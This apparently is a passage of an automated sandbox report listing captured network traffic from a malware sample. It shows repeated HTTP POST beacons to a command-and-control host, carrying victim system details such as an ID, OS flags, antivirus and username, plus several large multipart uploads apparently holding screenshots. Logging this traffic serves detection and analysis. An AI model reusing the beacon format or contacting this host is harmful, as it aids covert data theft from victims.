Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----66fb56215c6a9fc0af8f0f17b5d10c80Host: depressionk1d.ugContent-Length: 107062Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5Host: depressionk1d.ugContent-Length: 106671Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: depressionk1d.ugContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
